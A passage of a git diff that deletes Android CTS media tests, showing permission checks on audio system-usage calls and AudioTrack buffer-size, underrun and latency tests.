- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import android.content.Context;
-import android.media.AudioAttributes;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFocusRequest;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioTrack;
-import android.media.HwAudioSource;
-import android.media.MediaRecorder;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/*
- * Tests SystemUsage behavior in non-system app without the MODIFY_AUDIO_ROUTING permission
- */
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioSystemUsageTest {
-    private static final AudioAttributes SYSTEM_USAGE_AUDIO_ATTRIBUTES =
-            new AudioAttributes.Builder()
-                    .setSystemUsage(AudioAttributes.USAGE_EMERGENCY)
-                    .build();
-
-    private AudioManager mAudioManager;
-
-    @Before
-    public void setUp() {
-        Context context = ApplicationProvider.getApplicationContext();
-        mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
-    }
-
-    @Test
-    public void getSupportedSystemUsages_throwsException() {
-        assertThrows(SecurityException.class, () ->
-                mAudioManager.getSupportedSystemUsages());
-    }
-
-    @Test
-    public void setSupportedSystemUsage_throwsException() {
-        assertThrows(SecurityException.class, () ->
-                mAudioManager.setSupportedSystemUsages(new int[0]));
-    }
-
-    @Test
-    public void requestAudioFocus_returnsFailedResponse() {
-        AudioFocusRequest request = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES).build();
-
-        int response = mAudioManager.requestAudioFocus(request);
-        assertThat(response).isEqualTo(AudioManager.AUDIOFOCUS_REQUEST_FAILED);
-    }
-
-    @Test
-    public void abandonAudioFocusRequest_returnsFailedResponse() {
-        AudioFocusRequest request = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES).build();
-
-        int response = mAudioManager.abandonAudioFocusRequest(request);
-        assertThat(response).isEqualTo(AudioManager.AUDIOFOCUS_REQUEST_FAILED);
-    }
-
-    @Test
-    public void trackPlayer_throwsException() {
-        AudioDeviceInfo testDevice = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS)[0];
-        HwAudioSource.Builder builder = new HwAudioSource.Builder()
-                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES)
-                .setAudioDeviceInfo(testDevice);
-
-        // Constructor calls PlayerBase#baseRegisterPlayer which calls AudioService#trackPlayer
-        assertThrows(SecurityException.class, builder::build);
-    }
-
-    @Test
-    public void getOutputForAttr_returnsError() {
-        AudioTrack.Builder builder = new AudioTrack.Builder()
-                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES);
-
-        // Calls AudioPolicyService#getOutputForAttr which returns ERROR for unsupported usage
-        UnsupportedOperationException thrown = expectThrows(UnsupportedOperationException.class,
-                builder::build);
-        assertThat(thrown).hasMessageThat().contains("Cannot create AudioTrack");
-    }
-
-    @Test
-    public void getInputForAttr_returnsError() {
-        AudioAttributes unsupportedInputAudioAttributes = new AudioAttributes.Builder()
-                .setSystemUsage(AudioAttributes.USAGE_SAFETY)
-                .setCapturePreset(MediaRecorder.AudioSource.MIC)
-                .build();
-        AudioRecord.Builder builder = new AudioRecord.Builder()
-                .setAudioAttributes(unsupportedInputAudioAttributes);
-
-        // Calls AudioPolicyService#getInputForAttr which returns ERROR for unsupported usage
-        UnsupportedOperationException thrown = expectThrows(UnsupportedOperationException.class,
-                builder::build);
-        assertThat(thrown).hasMessageThat().contains("Cannot create AudioRecord");
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
deleted file mode 100644
index f3ad83d..0000000
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ /dev/null
@@ -1,655 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.media.PlaybackParams;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
-
-// Test the Java AudioTrack low latency related features:
-//
-// setBufferSizeInFrames()
-// getBufferCapacityInFrames()
-// ASSUME getMinBufferSize in frames is significantly lower than getBufferCapacityInFrames.
-// This gives us room to adjust the sizes.
-//
-// getUnderrunCount()
-// ASSUME normal track will underrun with setBufferSizeInFrames(0).
-//
-// AudioAttributes.FLAG_LOW_LATENCY
-// ASSUME FLAG_LOW_LATENCY reduces output latency by more than 10 msec.
-// Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
-// is not available.
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
-public class AudioTrackLatencyTest extends CtsAndroidTestCase {
-    private String TAG = "AudioTrackLatencyTest";
-    private final static long NANOS_PER_MILLISECOND = 1000000L;
-    private final static int MILLIS_PER_SECOND = 1000;
-    private final static long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
-
-    private void log(String testName, String message) {
-        Log.i(TAG, "[" + testName + "] " + message);
-    }
-
-    private void logw(String testName, String message) {
-        Log.w(TAG, "[" + testName + "] " + message);
-    }
-
-    private void loge(String testName, String message) {
-        Log.e(TAG, "[" + testName + "] " + message);
-    }
-
-    public void testSetBufferSize() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetBufferSize";
-        final int TEST_SR = 44100;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-
-        // -------- test --------------
-        // Initial values
-        int bufferCapacity = track.getBufferCapacityInFrames();
-        int initialBufferSize = track.getBufferSizeInFrames();
-        assertTrue(TEST_NAME, bufferCapacity > 0);
-        assertTrue(TEST_NAME, initialBufferSize > 0);
-        assertTrue(TEST_NAME, initialBufferSize <= bufferCapacity);
-
-        // set to various values
-        int resultNegative = track.setBufferSizeInFrames(-1);
-        assertEquals(TEST_NAME + ": negative size", AudioTrack.ERROR_BAD_VALUE, resultNegative);
-        assertEquals(TEST_NAME + ": should be unchanged",
-                initialBufferSize, track.getBufferSizeInFrames());
-
-        int resultZero = track.setBufferSizeInFrames(0);
-        assertTrue(TEST_NAME + ": should be >0, but got " + resultZero, resultZero > 0);
-        assertTrue(TEST_NAME + ": zero size < original, but got " + resultZero,
-                resultZero < initialBufferSize);
-        assertEquals(TEST_NAME + ": should match resultZero",
-                resultZero, track.getBufferSizeInFrames());
-
-        int resultMax = track.setBufferSizeInFrames(Integer.MAX_VALUE);
-        assertTrue(TEST_NAME + ": set MAX_VALUE, >", resultMax > resultZero);
-        assertTrue(TEST_NAME + ": set MAX_VALUE, <=", resultMax <= bufferCapacity);
-        assertEquals(TEST_NAME + ": should match resultMax",
-                resultMax, track.getBufferSizeInFrames());
-
-        int resultMiddle = track.setBufferSizeInFrames(bufferCapacity / 2);
-        assertTrue(TEST_NAME + ": set middle, >", resultMiddle > resultZero);
-        assertTrue(TEST_NAME + ": set middle, <=", resultMiddle < resultMax);
-        assertEquals(TEST_NAME + ": should match resultMiddle",
-                resultMiddle, track.getBufferSizeInFrames());
-
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Helper class for tests
-    private static class TestSetup {
-        public int sampleRate = 48000;
-        public int samplesPerFrame = 2;
-        public int bytesPerSample = 2;
-        public int config = AudioFormat.CHANNEL_OUT_STEREO;
-        public int format = AudioFormat.ENCODING_PCM_16BIT;
-        public int mode = AudioTrack.MODE_STREAM;
-        public int streamType = AudioManager.STREAM_MUSIC;
-        public int framesPerBuffer = 256;
-        public double amplitude = 0.5;
-
-        private AudioTrack mTrack;
-        private short[] mData;
-        private int mActualSizeInFrames;
-
-        AudioTrack createTrack() {
-            mData = AudioHelper.createSineWavesShort(framesPerBuffer,
-                    samplesPerFrame, 1, amplitude);
-            int minBufferSize = AudioTrack.getMinBufferSize(sampleRate, config, format);
-            // Create a buffer that is 3/2 times bigger than the minimum.
-            // This gives me room to cut it in half and play without glitching.
-            // This is an arbitrary scaling factor.
-            int bufferSize = (minBufferSize * 3) / 2;
-            mTrack = new AudioTrack(streamType, sampleRate, config, format,
-                    bufferSize, mode);
-
-            // Calculate and use a smaller buffer size
-            int smallBufferSize = bufferSize / 2; // arbitrary, smaller might underflow
-            int smallBuffSizeInFrames = smallBufferSize / (samplesPerFrame * bytesPerSample);
-            mActualSizeInFrames = mTrack.setBufferSizeInFrames(smallBuffSizeInFrames);
-            return mTrack;
-
-        }
-
-        int primeAudioTrack(String testName) {
-            // Prime the buffer.
-            int samplesWrittenTotal = 0;
-            int samplesWritten;
-            do{
-                samplesWritten = mTrack.write(mData, 0, mData.length);
-                if (samplesWritten > 0) {
-                    samplesWrittenTotal += samplesWritten;
-                }
-            } while (samplesWritten == mData.length);
-            int framesWrittenTotal = samplesWrittenTotal / samplesPerFrame;
-            assertTrue(testName + ": framesWrittenTotal = " + framesWrittenTotal
-                    + ", size = " + mActualSizeInFrames,
-                    framesWrittenTotal >= mActualSizeInFrames);
-            return framesWrittenTotal;
-        }
-
-        /**
-         * @param seconds
-         */
-        public void writeSeconds(double seconds) throws InterruptedException {
-            long msecEnd = System.currentTimeMillis() + (long)(seconds * 1000);
-            while (System.currentTimeMillis() < msecEnd) {
-                // Use non-blocking mode in case the track is hung.
-                int samplesWritten = mTrack.write(mData, 0, mData.length, AudioTrack.WRITE_NON_BLOCKING);
-                if (samplesWritten < mData.length) {
-                    int samplesRemaining = mData.length - samplesWritten;
-                    int framesRemaining = samplesRemaining / samplesPerFrame;
-                    int millis = (framesRemaining * 1000) / sampleRate;
-                    Thread.sleep(millis);
-                }
-            }
-        }
-    }
-
-    // Try to play an AudioTrack when the initial size is less than capacity.
-    // We want to make sure the track starts properly and is not stuck.
-    public void testPlaySmallBuffer() throws Exception {
-        final String TEST_NAME = "testPlaySmallBuffer";
-        TestSetup setup = new TestSetup();
-        AudioTrack track = setup.createTrack();
-
-        // Prime the buffer.
-        int framesWrittenTotal = setup.primeAudioTrack(TEST_NAME);
-
-        // Start playing and let it drain.
-        int position1 = track.getPlaybackHeadPosition();
-        assertEquals(TEST_NAME + ": initial position", 0, position1);
-        track.play();
-
-        // Make sure it starts within a reasonably short time.
-        final long MAX_TIME_TO_START_MSEC =  500; // arbitrary
-        long giveUpAt = System.currentTimeMillis() + MAX_TIME_TO_START_MSEC;
-        int position2 = track.getPlaybackHeadPosition();
-        while ((position1 == position2)
-                && (System.currentTimeMillis() < giveUpAt)) {
-            Thread.sleep(20); // arbitrary interval
-            position2 = track.getPlaybackHeadPosition();
-        }
-        assertTrue(TEST_NAME + ": did it start?, position after start = " + position2,
-                position2 > position1);
-
-        // Make sure it finishes playing the data.
-        // Wait several times longer than it should take to play the data.
-        final int several = 3; // arbitrary
-        // Even though the read head has advanced, it may stall a while waiting
-        // for the device to "warm up".
-        final int WARM_UP_TIME_MSEC = 300; // arbitrary
-        final long sleepTimeMSec = WARM_UP_TIME_MSEC
-                + (several * framesWrittenTotal * MILLIS_PER_SECOND / setup.sampleRate);
-        Thread.sleep(sleepTimeMSec);
-        position2 = track.getPlaybackHeadPosition();
-        assertEquals(TEST_NAME + ": did it play all the data?",
-                framesWrittenTotal, position2);
-
-        track.release();
-    }
-
-    // Try to play and pause an AudioTrack when the initial size is less than capacity.
-    // We want to make sure the track starts properly and is not stuck.
-    public void testPlayPauseSmallBuffer() throws Exception {
-        final String TEST_NAME = "testPlayPauseSmallBuffer";
-        TestSetup setup = new TestSetup();
-        AudioTrack track = setup.createTrack();
-
-        // Prime the buffer.
-        setup.primeAudioTrack(TEST_NAME);
-
-        // Start playing then pause and play in a loop.
-        int position1 = track.getPlaybackHeadPosition();
-        assertEquals(TEST_NAME + ": initial position", 0, position1);
-        track.play();
-        // try pausing several times to see if it fails
-        final int several = 4; // arbitrary
-        for (int i = 0; i < several; i++) {
-            // write data in non-blocking mode for a few seconds
-            setup.writeSeconds(2.0); // arbitrary, long enough for audio to get to the device
-            // Did position advance as we were playing? Or was the track stuck?
-            int position2 = track.getPlaybackHeadPosition();
-            int delta = position2 - position1; // safe from wrapping
-            assertTrue(TEST_NAME + ": [" + i + "] did it advance? p1 = " + position1
-                    + ", p2 = " + position2, delta > 0);
-            position1 = position2;
-            // pause for a second
-            track.pause();
-            Thread.sleep(MILLIS_PER_SECOND);
-            track.play();
-        }
-
-        track.release();
-    }
-
-    // Create a track with or without FLAG_LOW_LATENCY
-    private AudioTrack createCustomAudioTrack(boolean lowLatency) {
-        final String TEST_NAME = "createCustomAudioTrack";
-        final int TEST_SR = 48000;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_CONTENT_TYPE = AudioAttributes.CONTENT_TYPE_MUSIC;
-
-        // Start with buffer twice as large as needed.
-        int bufferSizeBytes = 2 * AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioAttributes.Builder attributesBuilder = new AudioAttributes.Builder()
-                .setContentType(TEST_CONTENT_TYPE);
-        if (lowLatency) {
-            attributesBuilder.setFlags(AudioAttributes.FLAG_LOW_LATENCY);
-        }
-        AudioAttributes attributes = attributesBuilder.build();
-
-        // Do not specify the sample rate so we get the optimal rate.
-        AudioFormat format = new AudioFormat.Builder()
-                .setEncoding(TEST_FORMAT)
-                .setChannelMask(TEST_CONF)
-                .build();
-        AudioTrack track = new AudioTrack.Builder()
-                .setAudioAttributes(attributes)
-                .setAudioFormat(format)
-                .setBufferSizeInBytes(bufferSizeBytes)
-                .build();
-
-        assertTrue(track != null);
-        log(TEST_NAME, "Track sample rate = " + track.getSampleRate() + " Hz");
-        return track;
-    }
-
-
-    private int checkOutputLowLatency(boolean lowLatency) throws Exception {
-        // constants for test
-        final String TEST_NAME = "checkOutputLowLatency";
-        final int TEST_SAMPLES_PER_FRAME = 2;
-        final int TEST_BYTES_PER_SAMPLE = 2;
-        final int TEST_NUM_SECONDS = 4;
-        final int TEST_FRAMES_PER_BUFFER = 128;
-        final double TEST_AMPLITUDE = 0.5;
-
-        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
-                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
-
-        // -------- initialization --------------
-        AudioTrack track = createCustomAudioTrack(lowLatency);
-        assertTrue(TEST_NAME + " actual SR", track.getSampleRate() > 0);
-
-        // -------- test --------------
-        // Play some audio for a few seconds.
-        int numSeconds = TEST_NUM_SECONDS;
-        int numBuffers = numSeconds * track.getSampleRate() / TEST_FRAMES_PER_BUFFER;
-        long framesWritten = 0;
-        boolean isPlaying = false;
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-            framesWritten += TEST_FRAMES_PER_BUFFER;
-            // prime the buffer a bit before playing
-            if (!isPlaying) {
-                track.play();
-                isPlaying = true;
-            }
-        }
-
-        // Estimate the latency from the timestamp.
-        long timeWritten = System.nanoTime();
-        AudioTimestamp timestamp = new AudioTimestamp();
-        boolean result = track.getTimestamp(timestamp);
-        // FIXME failing LOW_LATENCY case! b/26413951
-        assertTrue(TEST_NAME + " did not get a timestamp, lowLatency = "
-                + lowLatency, result);
-
-        // Calculate when the last frame written is going to be rendered.
-        long framesPending = framesWritten - timestamp.framePosition;
-        long timeDelta = framesPending * NANOS_PER_SECOND / track.getSampleRate();
-        long timePresented = timestamp.nanoTime + timeDelta;
-        long latencyNanos = timePresented - timeWritten;
-        int latencyMillis = (int) (latencyNanos / NANOS_PER_MILLISECOND);
-        assertTrue(TEST_NAME + " got latencyMillis <= 0 == "
-                + latencyMillis, latencyMillis > 0);
-
-        // -------- cleanup --------------
-        track.release();
-
-        return latencyMillis;
-    }
-
-    // Compare output latency with and without FLAG_LOW_LATENCY.
-    public void testOutputLowLatency() throws Exception {
-        final String TEST_NAME = "testOutputLowLatency";
-
-        int highLatencyMillis = checkOutputLowLatency(false);
-        log(TEST_NAME, "High latency = " + highLatencyMillis + " msec");
-
-        int lowLatencyMillis = checkOutputLowLatency(true);
-        log(TEST_NAME, "Low latency = " + lowLatencyMillis + " msec");
-
-        // We are not guaranteed to get a FAST track. Some platforms
-        // do not even have a FastMixer. So just warn and not fail.
-        if (highLatencyMillis <= (lowLatencyMillis + 10)) {
-            logw(TEST_NAME, "high latency should be much higher, "
-                    + highLatencyMillis
-                    + " vs " + lowLatencyMillis);
-        }
-    }
-
-    // Verify that no underruns when buffer is >= getMinBufferSize().
-    // Verify that we get underruns with buffer at smallest possible size.
-    public void testGetUnderrunCount() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testGetUnderrunCount";
-        final int TEST_SR = 44100;
-        final int TEST_SAMPLES_PER_FRAME = 2;
-        final int TEST_BYTES_PER_SAMPLE = 2;
-        final int TEST_NUM_SECONDS = 2;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final int TEST_FRAMES_PER_BUFFER = 256;
-        final int TEST_FRAMES_PER_BLIP = TEST_SR / 8;
-        final int TEST_CYCLES_PER_BLIP = 700 * TEST_FRAMES_PER_BLIP / TEST_SR;
-        final double TEST_AMPLITUDE = 0.5;
-
-        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
-                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
-        final short[] blip = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BLIP,
-                TEST_SAMPLES_PER_FRAME, TEST_CYCLES_PER_BLIP, TEST_AMPLITUDE);
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        // Start with buffer twice as large as needed.
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize * 2, TEST_MODE);
-
-        // -------- test --------------
-        // Initial values
-        int bufferCapacity = track.getBufferCapacityInFrames();
-        int initialBufferSize = track.getBufferSizeInFrames();
-        int minBuffSizeInFrames = minBuffSize / (TEST_SAMPLES_PER_FRAME * TEST_BYTES_PER_SAMPLE);
-        assertTrue(TEST_NAME, bufferCapacity > 0);
-        assertTrue(TEST_NAME, initialBufferSize > 0);
-        assertTrue(TEST_NAME, initialBufferSize <= bufferCapacity);
-
-        // Play with initial size.
-        int underrunCount1 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": initially no underruns", 0, underrunCount1);
-
-        // Prime the buffer.
-        while (track.write(data, 0, data.length) == data.length);
-
-        // Start playing
-        track.play();
-        int numBuffers = TEST_SR / TEST_FRAMES_PER_BUFFER;
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        int underrunCountBase = track.getUnderrunCount();
-        int numSeconds = TEST_NUM_SECONDS;
-        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        underrunCount1 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": no more underruns after initial",
-                underrunCountBase, underrunCount1);
-
-        // Play with getMinBufferSize() size.
-        int resultMin = track.setBufferSizeInFrames(minBuffSizeInFrames);
-        assertTrue(TEST_NAME + ": set minBuff, >", resultMin > 0);
-        assertTrue(TEST_NAME + ": set minBuff, <=", resultMin <= initialBufferSize);
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        track.write(blip, 0, blip.length);
-        underrunCount1 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": no more underruns at min", underrunCountBase, underrunCount1);
-
-        // Play with ridiculously small size. We want to get underruns so we know that an app
-        // can get to the edge of underrunning.
-        int resultZero = track.setBufferSizeInFrames(0);
-        assertTrue(TEST_NAME + ": should return > 0, got " + resultZero, resultZero > 0);
-        assertTrue(TEST_NAME + ": zero size < original", resultZero < initialBufferSize);
-        numSeconds = TEST_NUM_SECONDS / 2; // cuz test takes longer when underflowing
-        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
-        // Play for a few seconds or until we get some new underruns.
-        for (int i = 0; (i < numBuffers) && ((underrunCount1 - underrunCountBase) < 10); i++) {
-            track.write(data, 0, data.length);
-            underrunCount1 = track.getUnderrunCount();
-        }
-        assertTrue(TEST_NAME + ": underruns at zero", underrunCount1 > underrunCountBase);
-        int underrunCount2 = underrunCount1;
-        // Play for a few seconds or until we get some new underruns.
-        for (int i = 0; (i < numBuffers) && ((underrunCount2 - underrunCount1) < 10); i++) {
-            track.write(data, 0, data.length);
-            underrunCount2 = track.getUnderrunCount();
-        }
-        assertTrue(TEST_NAME + ": underruns still accumulating", underrunCount2 > underrunCount1);
-
-        // Restore buffer to good size
-        numSeconds = TEST_NUM_SECONDS;
-        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
-        int resultMax = track.setBufferSizeInFrames(bufferCapacity);
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        // Should have stopped by now.
-        underrunCount1 = track.getUnderrunCount();
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        // Counts should match.
-        underrunCount2 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": underruns should stop happening",
-                underrunCount1, underrunCount2);
-
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Verify that we get underruns if we stop writing to the buffer.
-    public void testGetUnderrunCountSleep() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testGetUnderrunCountSleep";
-        final int TEST_SR = 48000;
-        final int TEST_SAMPLES_PER_FRAME = 2;
-        final int TEST_BYTES_PER_SAMPLE = 2;
-        final int TEST_NUM_SECONDS = 2;
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final int TEST_FRAMES_PER_BUFFER = 256;
-        final int TEST_FRAMES_PER_BLIP = TEST_SR / 8;
-        final int TEST_CYCLES_PER_BLIP = 700 * TEST_FRAMES_PER_BLIP / TEST_SR;
-        final double TEST_AMPLITUDE = 0.5;
-
-        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
-                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
-        final short[] blip = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BLIP,
-                TEST_SAMPLES_PER_FRAME, TEST_CYCLES_PER_BLIP, TEST_AMPLITUDE);
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        // Start with buffer twice as large as needed.
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize * 2, TEST_MODE);
-
-        // -------- test --------------
-        // Initial values
-        int minBuffSizeInFrames = minBuffSize / (TEST_SAMPLES_PER_FRAME * TEST_BYTES_PER_SAMPLE);
-
-        int underrunCount1 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": initially no underruns", 0, underrunCount1);
-
-        // Prime the buffer.
-        while (track.write(data, 0, data.length) == data.length);
-
-        // Start playing
-        track.play();
-        int numBuffers = TEST_SR / TEST_FRAMES_PER_BUFFER;
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        int underrunCountBase = track.getUnderrunCount();
-        int numSeconds = TEST_NUM_SECONDS;
-        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        underrunCount1 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": no more underruns after initial",
-                underrunCountBase, underrunCount1);
-
-        // Sleep and force underruns.
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < 10; i++) {
-            track.write(data, 0, data.length);
-            Thread.sleep(500);  // ========================= SLEEP! ===========
-        }
-        track.write(blip, 0, blip.length);
-        underrunCount1 = track.getUnderrunCount();
-        assertTrue(TEST_NAME + ": expect underruns after sleep, #ur="
-                + underrunCount1,
-                underrunCountBase < underrunCount1);
-
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-
-        // Should have stopped by now.
-        underrunCount1 = track.getUnderrunCount();
-        track.write(blip, 0, blip.length);
-        for (int i = 0; i < numBuffers; i++) {
-            track.write(data, 0, data.length);
-        }
-        // Counts should match.
-        int underrunCount2 = track.getUnderrunCount();
-        assertEquals(TEST_NAME + ": underruns should stop happening",
-                underrunCount1, underrunCount2);
-
-        // -------- tear down --------------
-        track.release();
-    }
-
-    static class TrackBufferSizeChecker {
-        private final static String TEST_NAME = "testTrackBufferSize";
-        private final static int TEST_SR = 48000;
-        private final static int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        private final static int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        private final static int TEST_MODE = AudioTrack.MODE_STREAM;
-        private final static int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        private final static int FRAME_SIZE = 2 * 2; // stereo 16-bit PCM
-
-        public static int getFrameSize() {
-            return FRAME_SIZE;
-        }
-
-        public static int getMinBufferSize() {
-            return AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        }
-
-        public static AudioTrack createAudioTrack(int bufferSize) {
-            return new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                bufferSize, TEST_MODE);
-        }
-
-        public static void checkBadSize(int bufferSize) {
-            AudioTrack track = null;
-            try {
-                track = TrackBufferSizeChecker.createAudioTrack(bufferSize);
-                assertTrue(TEST_NAME + ": should not have survived size " + bufferSize, false);
-            } catch(IllegalArgumentException e) {
-                // expected
-            } finally {
-                if (track != null) {
-                    track.release();
-                }
-            }
-        }
-
-        public static void checkSmallSize(int bufferSize) {
-            AudioTrack track = null;
-            try {
-                track = TrackBufferSizeChecker.createAudioTrack(bufferSize);
-                assertEquals(TEST_NAME + ": should still be initialized with small size " + bufferSize,
-                            AudioTrack.STATE_INITIALIZED, track.getState());
-            } finally {
-                if (track != null) {
-                    track.release();
-                }
-            }
-        }
-    }
-
-    /**
-     * Test various values for bufferSizeInBytes.
-     *
-     * According to the latest documentation, any positive bufferSize that is a multiple
-     * of the frameSize is legal. Small sizes will be rounded up to the minimum size.
-     *
-     * Negative sizes, zero, or any non-multiple of the frameSize is illegal.
-     *
-     * @throws Exception
-     */
-    public void testTrackBufferSize() throws Exception {
-        TrackBufferSizeChecker.checkBadSize(0);
-        TrackBufferSizeChecker.checkBadSize(17);
-        TrackBufferSizeChecker.checkBadSize(18);
-        TrackBufferSizeChecker.checkBadSize(-9);
-        int frameSize = TrackBufferSizeChecker.getFrameSize();
-        TrackBufferSizeChecker.checkBadSize(-4 * frameSize);
-        for (int i = 1; i < 8; i++) {
-            TrackBufferSizeChecker.checkSmallSize(i * frameSize);
-            TrackBufferSizeChecker.checkBadSize(3 + (i * frameSize));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackNative.java b/tests/tests/media/src/android/media/cts/AudioTrackNative.java
deleted file mode 100644
index 065dd3a..0000000
